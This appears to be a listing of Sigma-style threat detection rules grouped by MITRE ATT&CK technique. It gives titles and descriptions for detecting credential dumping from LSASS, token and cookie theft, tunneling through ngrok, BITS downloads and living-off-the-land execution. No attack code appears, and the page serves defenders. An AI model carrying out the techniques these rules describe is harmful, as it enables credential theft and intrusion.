Suspicious Invocation - Level: high Description: Detects suspicious parameters of fsutil (deleting USN journal, configuring it with small size, etc). Might be used by ransomwares during the attack (seen by NotPetya and others). ETW Trace Evasion Activity - Level: high Description: Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion. Shadow Copies Deletion Using Operating Systems Utilities - Level: high Description: Shadow Copies deletion using operating systems utilities Terminal Server Client Connection History Cleared - Registry - Level: high Description: Detects the deletion of registry keys containing the MSTSC connection history
attack.t1140	20	Show Rules (20) Suspicious Certutil Command Usage - Level: high Description: Detects a suspicious Microsoft certutil execution with sub commands like 'decode' sub command, which is sometimes used to decode malicious code Suspicious Inbox Forwarding Identity Protection - Level: high Description: Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address Suspicious Inbox Manipulation Rules - Level: high Description: Detects suspicious rules that delete or move messages or folders are set on a user's inbox. Linux Base64 Encoded Pipe to Shell - Level: medium Description: Detects suspicious process command line that uses base64 encoded input for execution with a shell Linux Base64 Encoded Shebang In CLI - Level: medium Description: Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded Linux Shell Pipe to Shell - Level: medium Description: Detects suspicious process command line that starts with a shell that executes something and finally gets piped into another shell Payload Decoded and Decrypted via Built-in Utilities - Level: medium Description: Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer. Potential Base64 Decoded From Images - Level: high Description: Detects the use of tail to extract bytes at an offset from an image and then decode the base64 value to create a new file with the decoded content. The detected execution is a bash one-liner. PowerShell Decompress Commands - Level: informational Description: A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files. MSHTA Suspicious Execution 01 - Level: high Description: Detection for mshta.exe suspicious execution patterns sometimes involving file polyglotism Ping Hex IP - Level: high Description: Detects a ping command that uses a hex encoded IP address PowerShell Base64 Encoded FromBase64String Cmdlet - Level: high Description: Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line Base64 Encoded PowerShell Command Detected - Level: high Description: Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string Suspicious XOR Encoded PowerShell Command - Level: medium Description: Detects presence of a potentially xor encoded powershell command Potential Commandline Obfuscation Using Escape Characters - Level: medium Description: Detects potential commandline obfuscation using known escape characters DNS-over-HTTPS Enabled by Registry - Level: medium Description: Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors. Potential BlackByte Ransomware Activity - Level: high Description: Detects command line patterns used by BlackByte ransomware in different operations UNC4841 - SSL Certificate Exfiltration Via Openssl - Level: high Description: Detects the execution of "openssl" to connect to an IP address. This techniques was used by UNC4841 to exfiltrate SSL certificates and as a C2 channel with named pipes. Investigate commands executed in the temporal vicinity of this command. UNC4841 - Download Compressed Files From Temp.sh Using Wget - Level: high Description: Detects execution of "wget" to download a ".zip" or ".rar" files from "temp.sh". As seen used by UNC4841 during their Barracuda ESG zero day exploitation. UNC4841 - Download Tar File From Untrusted Direct IP Via Wget - Level: high Description: Detects execution of "wget" to download a "tar" from an IP address that doesn't have a trusted certificate. As seen used by UNC4841 during their Barracuda ESG zero day exploitation.
attack.t1127	19	Show Rules (19) Remote Thread Creation Ttdinject.exe Proxy - Level: high Description: Detects a remote thread creation of Ttdinject.exe used as proxy AspNetCompiler Execution - Level: medium Description: Detects execution of "aspnet_compiler.exe" which can be abused to compile and execute C# code. Suspicious Child Process of AspNetCompiler - Level: high Description: Detects potentially suspicious child processes of "aspnet_compiler.exe". Potentially Suspicious ASP.NET Compilation Via AspNetCompiler - Level: high Description: Detects execution of "aspnet_compiler.exe" with potentially suspicious paths for compilation. Potential Binary Proxy Execution Via Cdb.EXE - Level: medium Description: Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file Suspicious Use of CSharp Interactive Console - Level: high Description: Detects the execution of CSharp interactive console by PowerShell C# IL Code Compilation Via Ilasm.EXE - Level: medium Description: Detects the use of "Ilasm.EXE" in order to compile C# intermediate (IL) code to EXE or DLL. JScript Compiler Execution - Level: low Description: Detects the execution of the "jsc.exe" (JScript Compiler). Attacker might abuse this in order to compile JScript files on the fly and bypassing application whitelisting. Kavremover Dropped Binary LOLBIN Usage - Level: high Description: Detects the execution of a signed binary dropped by Kaspersky Lab Products Remover (kavremover) which can be abused as a LOLBIN to execute arbitrary commands and binaries. Use of Remote.exe - Level: medium Description: Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files. Use of TTDInject.exe - Level: medium Description: Detects the executiob of TTDInject.exe, which is used by Windows 10 v1809 and newer to debug time travel (underlying call of tttracer.exe) Use of VSIISExeLauncher.exe - Level: medium Description: The "VSIISExeLauncher.exe" binary part of the Visual Studio/VS Code can be used to execute arbitrary binaries Use of Wfc.exe - Level: medium Description: The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's recommended block rules. Potential Mftrace.EXE Abuse - Level: medium Description: Detects child processes of the "Trace log generation tool for Media Foundation Tools" (Mftrace.exe) which can abused to execute arbitrary binaries. Detection of PowerShell Execution via Sqlps.exe - Level: medium Description: This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs. SQL Client Tools PowerShell Session Detection - Level: medium Description: This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs. Potential Arbitrary Code Execution Via Node.EXE - Level: high Description: Detects the execution node.exe which is shipped with multiple software such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc Node Process Executions - Level: medium Description: Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud Microsoft Workflow Compiler Execution - Level: medium Description: Detects the execution of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.
attack.t1482	18	Show Rules (18) AzureHound PowerShell Commands - Level: high Description: Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound Trickbot Malware Reconnaissance Activity - Level: high Description: Detects potential reconnaissance activity used by Trickbot malware. Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. Domain Trust Discovery - Level: medium Description: Detects a discovery of domain trusts. Correct Execution of Nltest.exe - Level: high Description: The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions. Potential Active Directory Reconnaissance/Enumeration Via LDAP - Level: medium Description: Detects potential Active Directory enumeration via LDAP DNS Server Discovery Via LDAP Query - Level: low Description: Detects DNS server discovery via LDAP query requests from uncommon applications BloodHound Collection Files - Level: high Description: Detects default file names outputted by the BloodHound collection tool SharpHound Malicious PowerShell Commandlets - PoshModule - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Malicious PowerShell Commandlets - ScriptBlock - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Domain Trust Discovery Via Dsquery - Level: medium Description: Detects execution of "dsquery.exe" for domain trust discovery HackTool - Bloodhound/Sharphound Execution - Level: high Description: Detects command line parameters used by Bloodhound and Sharphound hack tools HackTool - SharpView Execution - Level: high Description: Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems HackTool - TruffleSnout Execution - Level: high Description: Detects the use of TruffleSnout.exe an iterative AD discovery toolkit for offensive operators, situational awareness and targeted low noise enumeration. Nltest.EXE Execution - Level: low Description: Detects nltest commands that can be used for information discovery Potential Recon Activity Via Nltest.EXE - Level: medium Description: Detects nltest commands that can be used for information discovery Malicious PowerShell Commandlets - ProcessCreation - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks PUA - AdFind Suspicious Execution - Level: high Description: Detects AdFind execution with common flags seen used during attacks Renamed AdFind Execution - Level: high Description: Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.
attack.t1087	18	Show Rules (18) AzureHound PowerShell Commands - Level: high Description: Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound CrackMapExecWin - Level: critical Description: Detects CrackMapExecWin Activity as Described by NCSC SharpHound Recon Account Discovery - Level: high Description: Detects remote RPC calls useb by SharpHound to map remote connections and local group membership. Hacktool Ruler - Level: high Description: This events that are generated when using the hacktool Ruler by Sensepost Uncommon Connection to Active Directory Web Services - Level: medium Description: Detects uncommon network connections to the Active Directory Web Services (ADWS) from processes not typically associated with ADWS management. Malicious PowerShell Commandlets - PoshModule - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks Malicious PowerShell Commandlets - ScriptBlock - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks HackTool - SOAPHound Execution - Level: high Description: Detects the execution of SOAPHound, a .NET tool for collecting Active Directory data, using specific command-line arguments that may indicate an attempt to extract sensitive AD information. HackTool - winPEAS Execution - Level: high Description: WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz Network Reconnaissance Activity - Level: high Description: Detects a set of suspicious network related commands often used in recon stages Malicious PowerShell Commandlets - ProcessCreation - Level: high Description: Detects Commandlet names from well-known PowerShell exploitation frameworks PUA - Seatbelt Execution - Level: high Description: Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters Suspicious Use of PsLogList - Level: medium Description: Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs Chopper Webshell Process Pattern - Level: high Description: Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells Webshell Hacking Activity Patterns - Level: high Description: Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system Webshell Detection With Command Line Keywords - Level: high Description: Detects certain command line parameters often used during reconnaissance activity via web shells Potential Pikabot Discovery Activity - Level: high Description: Detects system discovery activity carried out by Pikabot, such as incl. network, user info and domain groups. The malware Pikabot has been seen to use this technique as part of its C2-botnet registration with a short collection time frame (less than 1 minute). Reconnaissance Activity Using BuiltIn Commands - Level: medium Description: Detects execution of a set of builtin commands often used in recon stages by different attack groups
attack.t1197	18	Show Rules (18) Suspicious Bitsadmin Job via PowerShell - Level: high Description: Detect download by BITS jobs via PowerShell Suspicious Bitstransfer via PowerShell - Level: medium Description: Detects transferring files from system on a server bitstransfer Powershell cmdlets Bitsadmin to Uncommon IP Server Address - Level: high Description: Detects Bitsadmin connections to IP addresses instead of FQDN names Bitsadmin to Uncommon TLD - Level: high Description: Detects Bitsadmin connections to domains with uncommon TLDs New BITS Job Created Via Bitsadmin - Level: low Description: Detects the creation of a new bits job by Bitsadmin New BITS Job Created Via PowerShell - Level: low Description: Detects the creation of a new bits job by PowerShell BITS Transfer Job Downloading File Potential Suspicious Extension - Level: medium Description: Detects new BITS transfer job saving local files with potential suspicious extensions BITS Transfer Job Download From File Sharing Domains - Level: high Description: Detects BITS transfer job downloading files from a file sharing domain. BITS Transfer Job Download From Direct IP - Level: high Description: Detects a BITS transfer job downloading file(s) from a direct IP address. BITS Transfer Job With Uncommon Or Suspicious Remote TLD - Level: medium Description: Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. BITS Transfer Job Download To Potential Suspicious Folder - Level: high Description: Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location Suspicious Download From Direct IP Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file using an URL that contains an IP File Download Via Bitsadmin - Level: medium Description: Detects usage of bitsadmin downloading a file Suspicious Download From File-Sharing Website Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file from a suspicious domain File With Suspicious Extension Downloaded Via Bitsadmin - Level: high Description: Detects usage of bitsadmin downloading a file with a suspicious extension File Download Via Bitsadmin To A Suspicious Target Folder - Level: high Description: Detects usage of bitsadmin downloading a file to a suspicious target folder File Download Via Bitsadmin To An Uncommon Target Folder - Level: medium Description: Detects usage of bitsadmin downloading a file to uncommon target folder Monitoring For Persistence Via BITS - Level: medium Description: BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded.
attack.t1216	17	Show Rules (17) Execution via CL_Invocation.ps1 - Powershell - Level: high Description: Detects Execution via SyncInvoke in CL_Invocation.ps1 module Execution via CL_Mutexverifiers.ps1 - Level: high Description: Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - File - Level: medium Description: Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed) Suspicious CustomShellHost Execution - Level: medium Description: Detects the execution of CustomShellHost binary where the child isn't located in 'C:\Windows\explorer.exe' Potential Manage-bde.wsf Abuse To Proxy Execution - Level: high Description: Detects potential abuse of the "manage-bde.wsf" script as a LOLBIN to proxy execution Execute Code with Pester.bat as Parent - Level: medium Description: Detects code execution via Pester.bat (Pester - Powershell Modulte for testing) Execute Code with Pester.bat - Level: medium Description: Detects code execution via Pester.bat (Pester - Powershell Modulte for testing) SyncAppvPublishingServer VBS Execute Arbitrary PowerShell Code - Level: medium Description: Executes arbitrary PowerShell code using SyncAppvPublishingServer.vbs UtilityFunctions.ps1 Proxy Dll - Level: medium Description: Detects the use of a Microsoft signed script executing a managed DLL with PowerShell. Potential Process Execution Proxy Via CL_Invocation.ps1 - Level: medium Description: Detects calls to "SyncInvoke" that is part of the "CL_Invocation.ps1" script to proxy execution using "System.Diagnostics.Process" Assembly Loading Via CL_LoadAssembly.ps1 - Level: medium Description: Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls. Potential Script Proxy Execution Via CL_Mutexverifiers.ps1 - Level: medium Description: Detects the use of the Microsoft signed script "CL_mutexverifiers" to proxy the execution of additional PowerShell script commands Uncommon Sigverif.EXE Child Process - Level: medium Description: Detects uncommon child processes spawning from "sigverif.exe", which could indicate potential abuse of the latter as a living of the land binary in order to proxy execution. AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl - Level: medium Description: Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed) Remote Code Execute via Winrm.vbs - Level: medium Description: Detects an attempt to execute code or create service on remote host via winrm.vbs. Execution via CL_Invocation.ps1 (2 Lines) - Level: high Description: Detects Execution via SyncInvoke in CL_Invocation.ps1 module Execution via CL_Mutexverifiers.ps1 (2 Lines) - Level: high Description: Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module
attack.t1572	17	Show Rules (17) Communication To Ngrok Tunneling Service - Linux - Level: high Description: Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors Communication To LocaltoNet Tunneling Service Initiated - Linux - Level: high Description: Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls. Communication To LocaltoNet Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "LocaltoNet" tunneling sub-domains. LocaltoNet is a reverse proxy that enables localhost services to be exposed to the Internet. Attackers have been seen to use this service for command-and-control activities to bypass MFA and perimeter controls. Communication To Ngrok Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download. RDP Over Reverse SSH Tunnel - Level: high Description: Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389 RDP to HTTP or HTTPS Target Ports - Level: high Description: Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443 Silence.EDA Detection - Level: critical Description: Detects Silence EmpireDNSAgent as described in the Group-IP report Cloudflared Tunnel Connections Cleanup - Level: medium Description: Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections. Cloudflared Tunnel Execution - Level: medium Description: Detects execution of the "cloudflared" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks. Suspicious Plink Port Forwarding - Level: high Description: Detects suspicious Plink tunnel port forwarding to a local port Potential RDP Tunneling Via Plink - Level: high Description: Execution of plink to perform data exfiltration and tunneling PUA - 3Proxy Execution - Level: high Description: Detects the use of 3proxy, a tiny free proxy server PUA - Ngrok Execution - Level: high Description: Detects the use of Ngrok, a utility used for port forwarding and tunneling, often used by threat actors to make local protected services publicly available. Involved domains are bin.equinox.io for download and *.ngrok.io for connections. Potentially Suspicious Usage Of Qemu - Level: medium Description: Detects potentially suspicious execution of the Qemu utility in a Windows environment. Threat actors have leveraged this utility and this technique for achieving network access as reported by Kaspersky. Port Forwarding Activity Via SSH.EXE - Level: medium Description: Detects port forwarding activity via SSH.exe Potential RDP Tunneling Via SSH - Level: high Description: Execution of ssh.exe to perform data exfiltration and tunneling through RDP Tunneling Tool Execution - Level: medium Description: Detects the execution of well known tools that can be abused for data exfiltration and tunneling.
attack.t1528	16	Show Rules (16) iOS Implant URL Pattern - Level: critical Description: Detects URL pattern used by iOS Implant Suspicious File Event With Teams Objects - Level: high Description: Detects an access to authentication tokens and accounts of Microsoft Teams desktop application. Delegated Permissions Granted For All Users - Level: high Description: Detects when highly privileged delegated permissions are granted on behalf of all users End User Consent - Level: low Description: Detects when an end user consents to an application End User Consent Blocked - Level: medium Description: Detects when end user consent is blocked due to risk-based consent. App Granted Microsoft Permissions - Level: high Description: Detects when an application is granted delegated or app role permissions for Microsoft Graph, Exchange, Sharepoint, or Azure AD Application URI Configuration Changes - Level: high Description: Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated. Anomalous Token - Level: high Description: Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location. Anonymous IP Address - Level: high Description: Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN. Primary Refresh Token Access Attempt - Level: high Description: Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft Suspicious Teams Application Related ObjectAcess Event - Level: high Description: Detects an access to authentication tokens and accounts of Microsoft Teams desktop application. Microsoft Teams Sensitive File Access By Uncommon Applications - Level: medium Description: Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process. HackTool - Koh Default Named Pipe - Level: critical Description: Detects creation of default named pipes used by the Koh tool Renamed BrowserCore.EXE Execution - Level: high Description: Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens) Potentially Suspicious JWT Token Search Via CLI - Level: medium Description: Detects possible search for JWT tokens via CLI by looking for the string "eyJ0eX" or "eyJhbG". This string is used as an anchor to look for the start of the JWT token used by microsoft office and similar apps. Potentially Suspicious Command Targeting Teams Sensitive Files - Level: medium Description: Detects a commandline containing references to the Microsoft Teams database or cookies files from a process other than Teams. The database might contain authentication tokens and other sensitive information about the logged in accounts.
attack.t1106	16	Show Rules (16) Lazarus Activity Apr21 - Level: high Description: Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity TA505 Dropper Load Pattern - Level: critical Description: Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents BPFDoor Abnormal Process ID or Lock File Accessed - Level: high Description: detects BPFDoor .lock and .pid files access in temporary file storage facility HackTool - WinPwn Execution - ScriptBlock - Level: high Description: Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Potential WinAPI Calls Via PowerShell Scripts - Level: high Description: Detects use of WinAPI functions in PowerShell scripts HackTool - CobaltStrike BOF Injection Pattern - Level: high Description: Detects a typical pattern of a CobaltStrike BOF which inject into other processes HackTool - HandleKatz Duplicating LSASS Handle - Level: high Description: Detects HandleKatz opening LSASS to duplicate its handle to later dump the memory without opening any new handles Potential Direct Syscall of NtOpenProcess - Level: medium Description: Detects potential calls to NtOpenProcess directly from NTDLL. Potential Binary Proxy Execution Via Cdb.EXE - Level: medium Description: Detects usage of "cdb.exe" to launch arbitrary processes or commands from a debugger script file HackTool - RedMimicry Winnti Playbook Execution - Level: high Description: Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility HackTool - WinPwn Execution - Level: high Description: Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Suspicious Mshta.EXE Execution Patterns - Level: high Description: Detects suspicious mshta process execution patterns Potential WinAPI Calls Via CommandLine - Level: high Description: Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec Turla Group Named Pipes - Level: critical Description: Detects a named pipe used by Turla group samples WinAPI Library Calls Via PowerShell Scripts - Level: medium Description: Detects calls to WinAPI libraries from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts. WinAPI Function Calls Via PowerShell Scripts - Level: medium Description: Detects calls to WinAPI functions from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts.
attack.t1018	16	Show Rules (16) Correct Execution of Nltest.exe - Level: high Description: The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions. Linux Remote System Discovery - Level: low Description: Detects the enumeration of other remote systems. Macos Remote System Discovery - Level: informational Description: Detects the enumeration of other remote systems. Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files DirectorySearcher Powershell Exploitation - Level: medium Description: Enumerates Active Directory to determine computers that are joined to the domain Active Directory Computers Enumeration With Get-AdComputer - Level: low Description: Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory. Share And Session Enumeration Using Net.EXE - Level: low Description: Detects attempts to enumerate file shares, printer shares and sessions using "net.exe" with the "view" flag. Nltest.EXE Execution - Level: low Description: Detects nltest commands that can be used for information discovery PUA - AdFind Suspicious Execution - Level: high Description: Detects AdFind execution with common flags seen used during attacks PUA - Adidnsdump Execution - Level: low Description: This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed, Usee to Query/modify DNS records for Active Directory integrated DNS via LDAP Renamed AdFind Execution - Level: high Description: Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain. Suspicious Scan Loop Network - Level: medium Description: Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system Chopper Webshell Process Pattern - Level: high Description: Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells Webshell Hacking Activity Patterns - Level: high Description: Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system Webshell Detection With Command Line Keywords - Level: high Description: Detects certain command line parameters often used during reconnaissance activity via web shells Net.EXE Execution - Level: low Description: Detects execution of "Net.EXE".
attack.t1566	15	Show Rules (15) Search-ms and WebDAV Suspicious Indicators in URL - Level: high Description: Detects URL pattern used by search(-ms)/WebDAV initial access campaigns. Potential Malicious Usage of CloudTrail System Manager - Level: high Description: Detect when System Manager successfully executes commands against an instance. Okta FastPass Phishing Detection - Level: high Description: Detects when Okta FastPass prevents a known phishing site. Suspicious Execution via macOS Script Editor - Level: medium Description: Detects when the macOS Script Editor utility spawns an unusual child process. Download From Suspicious TLD - Blacklist - Level: low Description: Detects download of certain file types from hosts in suspicious TLDs Download From Suspicious TLD - Whitelist - Level: low Description: Detects executable downloads from suspicious remote systems Suspicious External WebDAV Execution - Level: high Description: Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns. Potential Initial Access via DLL Search Order Hijacking - Level: medium Description: Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking. HTML Help HH.EXE Suspicious Child Process - Level: high Description: Detects a suspicious child process of a Microsoft HTML Help (HH.exe) Suspicious HH.EXE Execution - Level: high Description: Detects a suspicious execution of a Microsoft HTML Help (HH.exe) Suspicious Microsoft OneNote Child Process - Level: high Description: Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file. Phishing Pattern ISO in Archive - Level: high Description: Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web) CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum CVE-2021-31979 CVE-2021-33771 Exploits - Level: critical Description: Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum WebDAV Temporary Local File Creation - Level: medium Description: Detects the creation of WebDAV temporary files with potentially suspicious extensions
attack.s0002	15	Show Rules (15) Credential Dumping Tools Accessing LSASS Memory - Level: high Description: Detects processes requesting access to LSASS memory via suspicious access masks. This is typical for credentials dumping tools Mimikatz Detection LSASS Access - Level: high Description: Detects process access to LSASS which is typical for Mimikatz (0x1000 PROCESS_QUERY_ LIMITED_INFORMATION, 0x0400 PROCESS_QUERY_ INFORMATION "only old versions", 0x0010 PROCESS_VM_READ) Mimikatz Use - Level: high Description: This method detects mimikatz keywords in different Eventlogs (some of them only appear in older Mimikatz version that are however still used by different threat groups) Mimikatz DC Sync - Level: high Description: Detects Mimikatz DC sync security events Successful Overpass the Hash Attempt - Level: high Description: Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module. HackTool - Generic Process Access - Level: high Description: Detects process access requests from hacktool processes based on their default image name LSASS Memory Access by Tool With Dump Keyword In Name - Level: high Description: Detects LSASS process access requests from a source process with the "dump" keyword in its image name. Potential Credential Dumping Activity Via LSASS - Level: medium Description: Detects process access requests to the LSASS process with specific call trace calls and access masks. This behaviour is expressed by many credential dumping tools such as Mimikatz, NanoDump, Invoke-Mimikatz, Procdump and even the Taskmgr dumping feature. Remote LSASS Process Access Through Windows Remote Management - Level: high Description: Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz. Potentially Suspicious GrantedAccess Flags On LSASS - Level: medium Description: Detects process access requests to LSASS process with potentially suspicious access flags Credential Dumping Attempt Via WerFault - Level: high Description: Detects process LSASS memory dump using Mimikatz, NanoDump, Invoke-Mimikatz, Procdump or Taskmgr based on the CallTrace pointing to ntdll.dll, dbghelp.dll or dbgcore.dll for win10, server2016 and up. LSASS Access From Potentially White-Listed Processes - Level: high Description: Detects a possible process memory dump that uses a white-listed filename like TrolleyExpress.exe as a way to dump the LSASS process memory without Microsoft Defender interference LSASS Access From Program In Potentially Suspicious Folder - Level: medium Description: Detects process access to LSASS memory with suspicious access flags and from a potentially suspicious folder Uncommon GrantedAccess Flags On LSASS - Level: medium Description: Detects process access to LSASS memory with uncommon access flags 0x410 and 0x01410 Mimikatz In-Memory - Level: medium Description: Detects certain DLL loads when Mimikatz gets executed
attack.t1016	15	Show Rules (15) Correct Execution of Nltest.exe - Level: high Description: The attacker might use LOLBAS nltest.exe for discovery of domain controllers, domain trusts, parent domain and the current user permissions. OpenCanary - SNMP OID Request - Level: high Description: Detects instances where an SNMP service on an OpenCanary node has had an OID request. System Network Discovery - Linux - Level: informational Description: Detects enumeration of local network configuration System Network Discovery - macOS - Level: informational Description: Detects enumeration of local network configuration Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files Suspicious Network Connection to IP Lookup Service APIs - Level: medium Description: Detects external IP address lookups by non-browser processes via services such as "api.ipify.org". This could be indicative of potential post compromise internet test activity. Firewall Configuration Discovery Via Netsh.EXE - Level: low Description: Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems Nltest.EXE Execution - Level: low Description: Detects nltest commands that can be used for information discovery Potential Recon Activity Via Nltest.EXE - Level: medium Description: Detects nltest commands that can be used for information discovery Suspicious Network Command - Level: low Description: Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems Potential Pikabot Discovery Activity - Level: high Description: Detects system discovery activity carried out by Pikabot, such as incl. network, user info and domain groups. The malware Pikabot has been seen to use this technique as part of its C2-botnet registration with a short collection time frame (less than 1 minute). Userdomain Variable Enumeration - Level: low Description: Detects suspicious enumeration of the domain the user is associated with. Local Firewall Rules Enumeration Via NetFirewallRule Cmdlet - Level: low Description: Detects execution of "Get-NetFirewallRule" or "Show-NetFirewallRule" to enumerate the local firewall rules on a host. Potential Network Enumeration on AWS - Level: low Description: Detects network enumeration performed on AWS. Silence.Downloader V3 - Level: high Description: Detects Silence downloader. These commands are hardcoded into the binary.
